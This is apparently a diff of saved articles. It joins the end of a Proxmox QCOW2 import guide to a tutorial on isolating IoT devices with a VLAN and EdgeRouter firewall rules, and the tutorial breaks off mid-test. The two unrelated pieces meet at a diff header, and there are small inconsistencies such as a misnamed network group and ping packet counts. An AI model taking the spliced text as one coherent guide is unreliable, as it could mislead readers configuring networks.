[![Edit Unused Disk](https://ostechnix.com/wp-content/uploads/2022/06/Edit-Unused-Disk.png "Edit Unused Disk")](https://ostechnix.com/wp-content/uploads/2022/06/Edit-Unused-Disk.png)
Edit Unused Disk
Choose the bus type as **"VirtIO Block"** to get best disk I/O performance and hit **"Add"** button.
[![Change Bus Type To VirtIO Block](https://ostechnix.com/wp-content/uploads/2022/06/Change-Bus-Type-To-VirtIO-Block.png.webp "Change Bus Type To VirtIO Block")](https://ostechnix.com/wp-content/uploads/2022/06/Change-Bus-Type-To-VirtIO-Block.png)
Change Bus Type To VirtIO Block
You will now see a newly disk with VirtIO as bus type has been attached to the VM.
[![Attach New Disk To Proxmox VM](https://ostechnix.com/wp-content/uploads/2022/06/Attach-New-Disk-To-Proxmox-VM.png "Attach New Disk To Proxmox VM")](https://ostechnix.com/wp-content/uploads/2022/06/Attach-New-Disk-To-Proxmox-VM.png)
Attach New Disk To Proxmox VM
Great! We successfully attached a new disk to the Proxmox VM.
## Step 6: Change the Boot Order
To make the VM to boot from the newly added disk, we must change the boot order.
Select **Virtual machine -> Options -> Boot Order**.
[![Select Boot Order](https://ostechnix.com/wp-content/uploads/2022/06/Select-Boot-Order.png "Select Boot Order")](https://ostechnix.com/wp-content/uploads/2022/06/Select-Boot-Order.png)
Select Boot Order
In order to boot from the new disk, it must be on top in the boot order window. Select the newly added VirtIO disk and drag it to the top. Make sure you checked the tick box to enable the disk. Click "OK" to save.
[![Change Disk Boot Order In Proxmox](https://ostechnix.com/wp-content/uploads/2022/06/Change-Disk-Boot-Order-In-Proxmox.png.webp "Change Disk Boot Order In Proxmox")](https://ostechnix.com/wp-content/uploads/2022/06/Change-Disk-Boot-Order-In-Proxmox.png)
Change Disk Boot Order In Proxmox
Now start the virtual machine. It should boot from the new disk.
[![FreeBSD Virtual Machine Running In Proxmox](https://ostechnix.com/wp-content/uploads/2022/06/FreeBSD-Virtual-Machine-Running-In-Proxmox.png "FreeBSD Virtual Machine Running In Proxmox")](https://ostechnix.com/wp-content/uploads/2022/06/FreeBSD-Virtual-Machine-Running-In-Proxmox.png)
FreeBSD Virtual Machine Running In Proxmox
That's it. Start using the newly created virtual machine.
## Conclusion
This guide explained how to **import a QCOW2 disk image into Proxmox VE** and how to **create a new virtual machine using the QCOW2** virtual disk. By following this guide, you can import any software appliances that are available in QCOW2 format in Proxmox hypervisor.
@@ -0,0 +1,544 @@
---
page-title: "How to secure IOT devices with VLANs and firewall rules on an Ubiquiti EdgeRouter-X and a MikroTik switch running SwOS Lite · GeekBitZone.com - Passionate About Tech"
url: https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/edgerouter-mikrotik-swos-vlan/
date: "2024-12-16 17:41:48"
---
**Deprecation Notice:** *This article was written more than a year ago which means that its information might no longer be up-to-date. We cannot therefore guarantee the accuracy of it's contents.*
---
## Table of Contents
- [Firmware versions used](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/edgerouter-mikrotik-swos-vlan/#firmware-versions-used)
- [Network overview](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/edgerouter-mikrotik-swos-vlan/#network-overview)
- [Setting up a VLAN on the EdgeRouter](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/edgerouter-mikrotik-swos-vlan/#setting-up-a-vlan-on-the-edgerouter)
- [Enabling VLAN on the switch0 interface](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/edgerouter-mikrotik-swos-vlan/#enabling-vlan-on-the-switch0-interface)
- [Creating a DHCP server for the VLAN](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/edgerouter-mikrotik-swos-vlan/#creating-a-dhcp-server-for-the-vlan)
- [Setting up Firewall NAT Groups on the EdgeRouter](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/edgerouter-mikrotik-swos-vlan/#setting-up-firewall-nat-groups-on-the-edgerouter)
- [Setting up Firewall Policies on the EdgeRouter](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/edgerouter-mikrotik-swos-vlan/#setting-up-firewall-policies-on-the-edgerouter)
- [Setting up a VLAN on the CSS610-8G-2S+IN](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/edgerouter-mikrotik-swos-vlan/#setting-up-a-vlan-on-the-css610-8g-2sin)
- [Verifying the setup](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/edgerouter-mikrotik-swos-vlan/#verifying-the-setup)
- [Test 1: Can the IOT device reach the Internet?](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/edgerouter-mikrotik-swos-vlan/#test-1-can-the-iot-device-reach-the-internet)
- [Test 2: Can the IOT device reach other devices outside VLAN 10?](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/edgerouter-mikrotik-swos-vlan/#test-2-can-the-iot-device-reach-other-devices-outside-vlan-10)
- [Test 3: Can the IOT device reach the router (gateway)?](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/edgerouter-mikrotik-swos-vlan/#test-3-can-the-iot-device-reach-the-router-gateway)
- [Test 4: Can devices on the main network (outside VLAN 10) reach the IOT device?](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/edgerouter-mikrotik-swos-vlan/#test-4-can-devices-on-the-main-network-outside-vlan-10-reach-the-iot-device)
- [Summary](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/edgerouter-mikrotik-swos-vlan/#summary)
- [References](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/edgerouter-mikrotik-swos-vlan/#references)
---
## How to secure IOT devices with VLANs and firewall rules on an Ubiquiti EdgeRouter-X and a MikroTik switch running SwOS Lite
The Ubiquiti Networks™ EdgeMAX® [EdgeRouter™ X](https://www.ui.com/edgemax/edgerouter-x/) and the MikroTik [CSS610-8G-2S+IN](https://mikrotik.com/product/css610_8g_2s_in) layer 2 switch are very affordable networking devices sold by respective vendors in this price bracket. We will in this tutorial explore how to set up a Virtual Local Area Network (**VLAN**) with firewall rules between an EdgeRouter™ X and a CSS610-8G-2S+IN switch running [SwOS Lite](https://wiki.mikrotik.com/wiki/SwOS/CSS610).
---
## Firmware versions used
The following firmware versions were used in this article:
- [EdgeOS v2.0.9-hotfix.1](https://www.ui.com/download/edgemax/default/default/edgerouter-er-xer-x-sfpep-r6er-10x-firmware-v209-hotfix1)
- [SwOS Lite 2.13](https://www.mikrotik.com/download)
---
## Network overview
In this simple network diagram we have assumed that the Internet (WAN) is connected to port **eth0** on the EdgeRouter. On the LAN side, **eth1** is connected to **port 1** on the MikroTik switch. Finally, on **port 2**, we have connected an insecure Internet of Things (IOT) device which we will isolate into its own VLAN.
![EdgeRouter Mikrotik VLAN - Image 1](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-1.png)
---
## Setting up a VLAN on the EdgeRouter
We will begin by logging in to the EdgeRouter. Open your routers admin page, which in our case is `192.168.1.1`, and type in your `username` and `password`.
![EdgeRouter Mikrotik VLAN - Image 2](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-2.png)
On the main **Dashboard**, select **Add Interface > Add VLAN**.
![EdgeRouter Mikrotik VLAN - Image 3](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-3.png)
Pick a **VLAN ID** number between 0-4094. We have chosen `10`.
![EdgeRouter Mikrotik VLAN - Image 4](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-4.png)
Set **Interface** to `switch0`.
![EdgeRouter Mikrotik VLAN - Image 5](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-5.png)
Type in a **Description** for this VLAN (optional). We will name it `IOT`.
![EdgeRouter Mikrotik VLAN - Image 6](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-6.png)
Set **Address** to `Manually define IP address`. We have chosen: `10.0.10.1/24`, but feel free to use any IP within the reserved [RFC1918](https://tools.ietf.org/html/rfc1918) ranges.
Press **Save** to close the window.
![EdgeRouter Mikrotik VLAN - Image 7](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-7.png)
We can now see on the main dashboard that a new interface, **switch0.10**, has been created. This is the interface for our IOT VLAN 10.
![EdgeRouter Mikrotik VLAN - Image 8](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-8.png)
---
## Enabling VLAN on the switch0 interface
We will now make the **switch0** interface VLAN-aware by tagging VLAN ID **10** to port **eth1**.
Place your mouse cursor over the **switch0** row and select **Actions > Config**.
*Note: do not accidentally select the IOT switch0.10 interface!*
![EdgeRouter Mikrotik VLAN - Image 9](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-9.png)
Navigate to the **Vlan** tab.
![EdgeRouter Mikrotik VLAN - Image 10](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-10.png)
`Enable` the **VLAN Aware** checkbox.
![EdgeRouter Mikrotik VLAN - Image 11](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-11.png)
Make sure that **Switch Ports** have been `enabled` on **eth1** and set **vid** to VLAN `10`.
![EdgeRouter Mikrotik VLAN - Image 12](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-12.png)
Press **Save** to close the window.
*Note: The **vid** value is for tagged traffic leaving the port, while **pvid** is used for untagged traffic arriving at the port.*
---
## Creating a DHCP server for the VLAN
We will now create a DHCP Server so that any devices connected to this VLAN will automatically receive an IP address.
Navigate to the **Services > DHCP Server** tab and select **Add DHCP Server**.
![EdgeRouter Mikrotik VLAN - Image 13](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-13.png)
Give the server a **DHCP Name**. We will call it `IOT`.
![EdgeRouter Mikrotik VLAN - Image 14](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-14.png)
For the **Subnet**, type `10.0.10.0/24`.
![EdgeRouter Mikrotik VLAN - Image 15](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-15.png)
Our DHCP **Range Start** is `10.0.10.100` and **Range Stop** will be `10.0.10.254`. Feel free to use any range, but bear in mind that if you want to assign static IP addresses to your devices, this entire IP range cannot be occupied by DHCP.
![EdgeRouter Mikrotik VLAN - Image 16](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-16.png)
Set the **Router** address to `10.0.10.1`.
![EdgeRouter Mikrotik VLAN - Image 17](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-17.png)
Finally, assign a **DNS 1** record to this DHCP server. We will simply use the *routers* address, `10.0.10.1`, since all traffic will flow through here anyway. (Optionally, assign a second DNS record, such as `1.1.1.1` or `8.8.8.8`, under **DNS 2** for added redundancy.)
![EdgeRouter Mikrotik VLAN - Image 18](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-18.png)
Press **Save** to close the window.
If we look at the page we can now see that **IOT** has been added to the list of DHCP servers.
![EdgeRouter Mikrotik VLAN - Image 19](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-19.png)
---
## Setting up Firewall NAT Groups on the EdgeRouter
We will now set up a few firewall rules to prevent IOT devices from communicating with other devices on the local area network and to only allow them Internet access.
*Note: This section has deliberately been made as simple as possible and does not cover every possible firewall rule since every users network setup is different.*
Navigate to the **Firewall/NAT > Firewall/NAT Groups** tab and select **Add Group**.
![EdgeRouter Mikrotik VLAN - Image 20](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-20.png)
We will now define a **Network Group** of *Private Internets* based on the [RFC1918](https://tools.ietf.org/html/rfc1918) standard, which we will later use in our firewall rules.
Under **Name**, type `RFC1918`.
![EdgeRouter Mikrotik VLAN - Image 21](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-21.png)
Give a **Description** (optional). We will type `RFC1918 ranges`.
![EdgeRouter Mikrotik VLAN - Image 22](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-22.png)
Set **Group Type** to `Network Group` and press **Save** to close the window.
![EdgeRouter Mikrotik VLAN - Image 23](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-23.png)
We will now edit our newly created network group. On the **RFC1918** line, select **Actions > Config**.
![EdgeRouter Mikrotik VLAN - Image 24](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-24.png)
Under **Network**, type the following three RFC1918 ranges:
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
Press **Add New** to create another entry and **Save** to confirm the changes.
![EdgeRouter Mikrotik VLAN - Image 25](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-25.png)
This window will not close until you press **X** in the upper right corner.
![EdgeRouter Mikrotik VLAN - Image 26](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-26.png)
Confirm that the **Number of group members** column shows **3** members.
![EdgeRouter Mikrotik VLAN - Image 27](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-27.png)
---
## Setting up Firewall Policies on the EdgeRouter
With the Network Group set up out of the way, we will now set up firewall policies. Our plan is to block access to the local area network as well as the router from the IOT network and only allow direct Internet access. Safe devices, *outside* the IOT network, should still be able to communicate with the IOT devices, but not the other way around.
The EdgeRouter defines traffic as such:
- **IN** - Traffic coming from the VLAN into the EdgeRouter.
- **OUT** - Traffic going out of the EdgeRouter and into the VLAN.
- **LOCAL** - Traffic on the VLAN itself (broadcasts and inter-vlan communication).
Navigate to the **Firewall/NAT > Firewall Policies** tab and select **Add Ruleset**.
![EdgeRouter Mikrotik VLAN - Image 28](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-28.png)
In the **Create New Firewall Ruleset** window, type `IOT_IN` in the **Name** field.
![EdgeRouter Mikrotik VLAN - Image 29](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-29.png)
Type a **Description** (optional) for this rule. Will type `IOT to Router`.
![EdgeRouter Mikrotik VLAN - Image 30](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-30.png)
Finally, set the **Default action** to `Accept` and press **Save** to close the window.
![EdgeRouter Mikrotik VLAN - Image 31](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-31.png)
We will now repeat the previous step by creating another rule, which this time is a *local* rule.
Press the **Add Ruleset** button.
![EdgeRouter Mikrotik VLAN - Image 32](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-32.png)
In the **Name** field, type `IOT_LOCAL`.
![EdgeRouter Mikrotik VLAN - Image 33](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-33.png)
Type in a **Description** (optional) for this rule. We will call it `IOT to Local Network`.
![EdgeRouter Mikrotik VLAN - Image 34](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-34.png)
Make sure that the **Default action** is set to `Drop` and press **Save** to close the window.
![EdgeRouter Mikrotik VLAN - Image 35](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-35.png)
We will now edit the **IOT\_IN** Ruleset. Place your cursor over this line and select **Actions > Edit Ruleset**.
![EdgeRouter Mikrotik VLAN - Image 36](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-36.png)
On the **Ruleset Configuration for IOT\_IN** page, select **Add New Rule**.
![EdgeRouter Mikrotik VLAN - Image 37](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-37.png)
On the **Basic** tab, type in a **Description** for this rule. We will write `Accept Established/Related`.
![EdgeRouter Mikrotik VLAN - Image 38](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-38.png)
Change the default **Action** to `Accept`.
![EdgeRouter Mikrotik VLAN - Image 39](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-39.png)
Leave **Protocol** set to `All protocols`.
![EdgeRouter Mikrotik VLAN - Image 40](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-40.png)
Head over to the **Advanced** tab and set **State** to `Established` and `Related`.
Press **Save** to close the window.
![EdgeRouter Mikrotik VLAN - Image 41](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-41.png)
On the **Ruleset Configuration for IOT\_IN** page, press the **Add New Rule** button to create another rule.
![EdgeRouter Mikrotik VLAN - Image 42](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-42.png)
On the **Basic** tab, change the **Description** to `Drop Local Access`.
![EdgeRouter Mikrotik VLAN - Image 43](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-43.png)
Set default **Action** to `Drop`.
![EdgeRouter Mikrotik VLAN - Image 44](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-44.png)
Leave **Protocol** set to `All protocols`.
![EdgeRouter Mikrotik VLAN - Image 45](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-45.png)
Head over to the **Destination** tab and set the **Network Group** to `RF1918 ranges`.
Press **Save** to close the window.
![EdgeRouter Mikrotik VLAN - Image 46](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-46.png)
On the **Ruleset Configuration for IOT\_IN** page, head over to the **Interfaces** tab.
![EdgeRouter Mikrotik VLAN - Image 47](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-47.png)
On the **Interfaces** tab, set **Interface** to `switch0.10` and change the **Direction** to `in`.
Press **Save Ruleset**, followed by the **X** button to close the window.
![EdgeRouter Mikrotik VLAN - Image 48](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-48.png)
We will now open up two ports for *DNS* and *DHCP* requests.
On the **Firewall Policies** page, place your cursor over the **IOT\_LOCAL** row and select **Actions > Edit Ruleset**.
![EdgeRouter Mikrotik VLAN - Image 49](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-49.png)
On the **Ruleset Configuration for IOT\_LOCAL** page, press **Add New Rule**.
![EdgeRouter Mikrotik VLAN - Image 50](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-50.png)
On the **Basic** tab, change the **Description** to `Accept DNS`.
![EdgeRouter Mikrotik VLAN - Image 51](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-51.png)
Set the default **Action** to `Accept`.
![EdgeRouter Mikrotik VLAN - Image 52](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-52.png)
Set the **Protocol** to `Both TCP and UDP`.
![EdgeRouter Mikrotik VLAN - Image 53](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-53.png)
Head over to the **Destination** tab and set the **Port** number to `53`.
Press **Save** to close the window.
![EdgeRouter Mikrotik VLAN - Image 54](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-54.png)
Back on the **Ruleset Configuration for IOT\_LOCAL** page, press the **Add New Rule** button.
![EdgeRouter Mikrotik VLAN - Image 55](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-55.png)
Change the **Description** to `Accept DHCP`.
![EdgeRouter Mikrotik VLAN - Image 56](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-56.png)
Set the default **Action** to `Accept`.
![EdgeRouter Mikrotik VLAN - Image 57](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-57.png)
Set the **Protocol** to `UDP`.
![EdgeRouter Mikrotik VLAN - Image 58](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-58.png)
Head over to the **Destination** tab and set the **Port** number to `67`.
Press **Save** to close the window.
![EdgeRouter Mikrotik VLAN - Image 59](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-59.png)
On the **Ruleset Configuration for IOT\_LOCAL** page, head over to the **Interfaces** tab.
![EdgeRouter Mikrotik VLAN - Image 60](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-60.png)
On the **Interfaces** tab, set **Interface** to `switch0.10` and change the **Direction** to `local`.
Press **Save Ruleset**, followed by the **X** button to close the window.
![EdgeRouter Mikrotik VLAN - Image 61](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-61.png)
The completed Firewall Policies page should now look like this.
![EdgeRouter Mikrotik VLAN - Image 62](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-62.png)
We have now finished configuring the EdgeRouter and will head over to the MikroTik switch to set up a VLAN.
---
## Setting up a VLAN on the CSS610-8G-2S+IN
We will begin by logging in to the CSS610-8G-2S+IN switch. Open the admin page, which in our case is `192.168.1.88`, and type in your `username` and `password`.
![EdgeRouter Mikrotik VLAN - Image 63](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-63.png)
We can see on the **Link** tab that **Port1** is connected to the `EdgeRouter` and that **Port2** is connected to the `IOT` device. (We have named the ports ourselves).
![EdgeRouter Mikrotik VLAN - Image 64](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-64.png)
With this knowledge at hand, navigate to the **VLAN** tab.
![EdgeRouter Mikrotik VLAN - Image 65](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-65.png)
On the **IOT** port, set **VLAN Mode** to `strict`.
![EdgeRouter Mikrotik VLAN - Image 66](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-66.png)
Set **VLAN Receive** to accept `only untagged` traffic.
![EdgeRouter Mikrotik VLAN - Image 67](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-67.png)
Finally, set the **Default VLAN ID** to `10`, which is the VLAN value used on the EdgeRouter.
![EdgeRouter Mikrotik VLAN - Image 68](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-68.png)
Press **Apply All** to save the changes.
![EdgeRouter Mikrotik VLAN - Image 69](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-69.png)
Next, navigate to the **VLANs** tab where you will be presented by a blank page.
![EdgeRouter Mikrotik VLAN - Image 70](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-70.png)
Press the **Append** button to create a new entry.
![EdgeRouter Mikrotik VLAN - Image 71](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-71.png)
Enter `10` under **VLAN ID**.
![EdgeRouter Mikrotik VLAN - Image 72](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-72.png)
Only check the port **Members** that should belong to VLAN 10. In this case `one` and `two` have been checked, i.e. the EdgeRouter and the IOT Device.
![EdgeRouter Mikrotik VLAN - Image 73](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-73.png)
Press **Apply All** to save the changes.
![EdgeRouter Mikrotik VLAN - Image 74](https://www.geekbitzone.com/posts/2021/networking/vlans/vlan-edgerouter-mikrotik/img/edgerouter-mikrotik-swos-vlan-74.png)
The VLAN has now been set up on the MikroTik switch.
---
## Verifying the setup
We are now ready to test if the VLAN and the firewall rules actually work. In the following section we will be logging in to our devices, both inside and outside the IOT VLAN to see if certain destinations can reached with the `ping` command.
- Our EdgeRouter has an IP address of `192.168.1.1` on the main network and `10.0.10.1` on the IOT VLAN.
- The IOT Device has an IP address of `10.0.10.100`.
- We also have a computer on the main network with an IP address of `192.168.1.100`.
---
### Test 1: Can the IOT device reach the Internet?
We will ping `google.com` from `10.0.10.100` (inside VLAN 10).
```
$ ping google.com
PING google.com (172.217.169.78): 56 data bytes
64 bytes from 172.217.169.78: icmp_seq=0 ttl=118 time=1.547 ms
64 bytes from 172.217.169.78: icmp_seq=1 ttl=118 time=1.590 ms
64 bytes from 172.217.169.78: icmp_seq=2 ttl=118 time=1.713 ms
--- google.com ping statistics ---
3 packets transmitted, 3 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 1.547/1.617/1.713/0.070 ms
```
**Result:** The IOT device *can* reach the internet.
---
### Test 2: Can the IOT device reach other devices outside VLAN 10?
We will ping `192.168.1.100`, which is a computer on the main network, from `10.0.10.100`.
```
$ ping 192.168.1.100
PING 192.168.1.100 (192.168.1.100): 56 data bytes
Request timeout for icmp_seq 0
Request timeout for icmp_seq 1
Request timeout for icmp_seq 2
--- 192.168.1.100 ping statistics ---
4 packets transmitted, 0 packets received, 100.0% packet loss
```
**Result:** The IOT device *can not* reach devices outside VLAN 10 on a private network.
---
### Test 3: Can the IOT device reach the router (gateway)?
We will ping `10.0.10.1` and `192.168.1.1` from `10.0.10.100`.
```
$ ping 10.0.10.1
PING 10.0.10.1 (10.0.10.1): 56 data bytes
Request timeout for icmp_seq 0
Request timeout for icmp_seq 1
Request timeout for icmp_seq 2
--- 10.0.10.1 ping statistics ---
4 packets transmitted, 0 packets received, 100.0% packet loss
$ ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1): 56 data bytes
Request timeout for icmp_seq 0
Request timeout for icmp_seq 1
Request timeout for icmp_seq 2
--- 192.168.1.1 ping statistics ---
4 packets transmitted, 0 packets received, 100.0% packet loss
```
**Result:** The router *can not* be reached from within or outside VLAN 10.
---
### Test 4: Can devices on the main network (outside VLAN 10) reach the IOT device?
We will use a computer on the main network, `192.168.1.100`, to ping the IOT device at `10.0.10.100`.
```
$ ping 10.0.10.100
PING 10.0.10.100 (10.0.10.100): 56 data bytes
64 bytes from 10.0.10.100: icmp_seq=0 ttl=63 time=0.870 ms
64 bytes from 10.0.10.100: icmp_seq=1 ttl=63 time=1.088 ms
64 bytes from 10.0.10.100: icmp_seq=2 ttl=63 time=1.290 ms
--- 10.0.10.100 ping statistics ---
